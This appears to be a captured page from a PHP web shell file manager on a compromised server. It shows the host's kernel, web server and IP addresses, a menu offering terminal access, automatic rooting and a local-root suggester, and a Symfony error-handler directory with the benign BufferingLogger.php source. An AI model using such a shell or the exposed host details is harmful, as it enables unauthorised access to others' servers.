Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.140.242.43
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
1 /
vendor /
symfony /
error-handler /
Delete
Unzip
Name
Size
Permission
Date
Action
Error
[ DIR ]
drwxr-xr-x
2020-11-17 16:24
ErrorEnhancer
[ DIR ]
drwxr-xr-x
2020-11-17 16:24
ErrorRenderer
[ DIR ]
drwxr-xr-x
2020-11-17 16:24
Exception
[ DIR ]
drwxr-xr-x
2020-11-17 16:24
Resources
[ DIR ]
drwxr-xr-x
2020-11-17 16:24
BufferingLogger.php
1.72
KB
-rw-r--r--
2020-11-17 16:24
CHANGELOG.md
296
B
-rw-r--r--
2020-11-17 16:24
Debug.php
1.08
KB
-rw-r--r--
2020-11-17 16:24
DebugClassLoader.php
41.15
KB
-rw-r--r--
2020-11-17 16:24
ErrorHandler.php
28.6
KB
-rw-r--r--
2020-11-17 16:24
LICENSE
1.04
KB
-rw-r--r--
2020-11-17 16:24
README.md
1.18
KB
-rw-r--r--
2020-11-17 16:24
ThrowableUtils.php
730
B
-rw-r--r--
2020-11-17 16:24
composer.json
956
B
-rw-r--r--
2020-11-17 16:24
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\ErrorHandler; use Psr\Log\AbstractLogger; /** * A buffering logger that stacks logs for later. * * @author Nicolas Grekas <p@tchwork.com> */ class BufferingLogger extends AbstractLogger { private $logs = []; public function log($level, $message, array $context = []): void { $this->logs[] = [$level, $message, $context]; } public function cleanLogs(): array { $logs = $this->logs; $this->logs = []; return $logs; } public function __destruct() { foreach ($this->logs as [$level, $message, $context]) { if (false !== strpos($message, '{')) { foreach ($context as $key => $val) { if (null === $val || is_scalar($val) || (\is_object($val) && \is_callable([$val, '__toString']))) { $message = str_replace("{{$key}}", $val, $message); } elseif ($val instanceof \DateTimeInterface) { $message = str_replace("{{$key}}", $val->format(\DateTime::RFC3339), $message); } elseif (\is_object($val)) { $message = str_replace("{{$key}}", '[object '.\get_class($val).']', $message); } else { $message = str_replace("{{$key}}", '['.\gettype($val).']', $message); } } } error_log(sprintf('%s [%s] %s', date(\DateTime::RFC3339), $level, $message)); } } }